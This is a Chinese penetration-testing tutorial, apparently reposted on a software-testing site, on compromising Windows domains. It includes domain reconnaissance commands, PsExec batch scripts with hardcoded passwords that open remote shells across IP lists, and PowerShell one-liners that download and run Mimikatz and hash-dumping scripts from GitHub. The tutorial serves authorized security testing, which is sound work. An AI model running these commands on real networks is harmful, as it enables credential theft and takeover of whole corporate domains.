内网渗透测试之域渗透详解

发表于:2018-5-24 15:58

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:ISEC实验室    来源:51Testing软件测试网采编

  在渗透测试过程中,我们经常会遇到以下场景:某处于域中的服务器通过路由做端口映射,对外提供web服务,我们通过web脚本漏洞获得了该主机的system权限,如果甲方有进一步的内网渗透测试需求,以证明企业所面临的巨大风险,这个时候就需要做内网的域渗透。
  通常,我们是以获得域控制器的权限为目标,因为一旦域控制器沦陷,整个内网就尽在掌握中了。
  一、什么是域
  将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库
  图1
  那么域网络结构有什么优点呢?域的优点主要有以下几个方面:
  1、权限管理比较集中,管理成本降低
  域环境中,所有的网络资源,包括用户均是在域控制器上维护的,便于集中管理,所有用户只要登入到域,均能在域内进行身份验证,管理人员可以较好的管理计算机资源,管理网络的成本大大降低;同时在域环境中也可以防止企业员工在域成员主机上违规安装软件,增强客户端安全性,减少客户端故障,降低维护成本。
  2、保密性加强
  有利于企业的一些保密资料的管理,可以单独对资源进行权限控制,允许或拒绝特定的域账户对资源的请求。
  3、安全性加强
  使用漫游账户和文件夹重定向,个人账户的工作文件及数据等可以存储在服务器上,进行统一备份及管理,使用户的数据更加安全有保障;同时域控制器能够分发应用程序、系统补丁,用户可以选择安装,也可以由系统管理员指派自动安装,数据及系统安全性大大提高。
  4、提高了便捷性
  可由管理员指派登陆脚本映射,用户登录后就可以像使用本地盘符一样,使用网络上的资源,且不需要再次输入密码。
  基于以上原因,很多企业的内网均会采用域环境,所以作为一名合格的渗透测试人员,域渗透的常规思路和技巧要熟练掌握。
  二、域的特性
  域成员计算机在登录的时候可以选择登录到域中或此计算机,登陆到域中的时候,身份验证是采用Kerberos协议在域控制器上进行的,登陆到此计算机则是通过SAM来进行NTLM验证的,如下图:
  图2
  默认情况下,域用户可以登录到域中所有的工作站,不包括域控制器,管理员也可以指定具体的计算机,域用户信息保存在活动目录中,如下图:
  图3
  三、域渗透思路
  一个具有一定规模的企业,每天都可能面临员工入职和离职,因此网络管理部门经常需要对域成员主机进行格式化消除磁盘的文件,然后重装系统及软件,以提供给新员工使用;因此,为了便于后期交接,大多网络管理员会做好一个系统镜像盘,统一安装所有的电脑,并且在安装的时候设置惯用、甚至统一的密码。
  因此,域中的计算机本地管理员账号,极有可能能够登陆域中较多的计算机,本地管理员的密码在服务器上后期修改的概率,远低于在个人办公电脑上的概率,而域用户权限是较低的,是无法在域成员主机上安装软件的,这将会发生下面的一幕:
  某个域用户需要使用viso软件进行绘图操作,于是联系网络管理员进行安装,网络管理员采用域管理员身份登录了域成员主机,并帮助其安装了viso软件,于是这个有计算机基础的员工,切换身份登录到了本地计算机的管理员,后执行mimikatz,从内存当中抓取了域管理员的密码,便成功的控制了整个域。 
  因此,域渗透的思路就是:通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网。
  四、域渗透常用指令
  以下所有指令均为在域成员主机上执行的结果。
  得到域控制器的IP:dsquery server
  图4
  得到域控制器主机名:net group "domain controllers" /domain,注意通过该指令得到的机器名后面会多一个$符号,如下图:
  图5
  查询域管理用户:net group "domain admins" /domain
  图6
  查看所有域用户: net user /domain
  图7
  这里有一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递攻击了,此外,还有以下几个常用指令:
  查询当前登陆域:net config workstation
  查询域密码策略:net accounts /domain
  查看补丁信息:wmic qfe
  查看操作系统类型:wmic os
  当我们获得了某个本地管理员权限的账号,我们想通过该账号访问内网其他主机,常用的做法有net use建立Ipc$连接、wmic指令连接、采用rdp方式连接、当然也可以使用“计算机管理--连接到另一台计算机”的功能来进行操作,除此之外,笔者更喜欢使用psexec进行远程连接,如下图:
  图8
  如果觉得一台一台手工连接比较麻烦,也可以进行批量连接,批量反弹cmdshell回来,可以采用如下批处理:
  @echo off
  echo check ip addr config file...
  if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
  echo read and analysis file...
  for /F "eol=#" %%i in (ip.txt) do start PsExec.exe \\%%i -accepteula -u administrator -p "123456" cmd & start cmd /c PsExec.exe \\%%i -u administrator -p "123456" cmd
  :end
  exit
  图9
  当返回了cmdshell后,我们就可以逐一读取内存,去抓取域管理员的密码,这里可以结合powershell来进行快速操作,无需上传文件:
  抓明文:
  powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
  抓hash:
  powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
  这种方式的好处是只要域管理员登陆过目标计算机,即使注销了会话,一样可以从内存读取到密码,但实际的渗透过程中,我们往往追求的是效率,如何快速找到域管理员登陆过哪台计算机,并且还存在活动会话,优先级更高一些,我们可以使用如下指令:
  图10
  这里ip.txt是需要遍历的IP列表,1.bat中的指令为tasklist /v |find “域管理员”,这样我们只需要在返回的cmdshell当中,去查看是否含有域管理员字样的会话,如果有,则表示该主机上曾经登陆过域管理员,可以去dump内存密码了。
  另外我们也可以使用Tasklist命令查看远程主机任务列表,这里一样是搜索含有域管理员字样的任务列表,如下图:
  图11
  基于以上原理,我们可以写一个更加自动化的批处理:
  @echo off
  echo check ip addr config file...
  if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
  echo read and analysis file...
  for /F "eol=#" %%i in (ip.txt) do echo %%i &(echo %%i &tasklist /s %%i /u administrator /p mytest2010 /v) >>d:\result.txt
  :end
  exit
  上述指令的作用就是采用指定的用户名和密码去遍历ip.txt中的IP列表,并打印任务列表,将结果输出到result.txt当中,执行完了上述批处理,我们只需要稍作等待,最后去查看result.txt当中是否含有域管理员字样,即可确定哪些主机上存在域管理员的活动会话,如下图:
  图12




上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。
21/212>
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号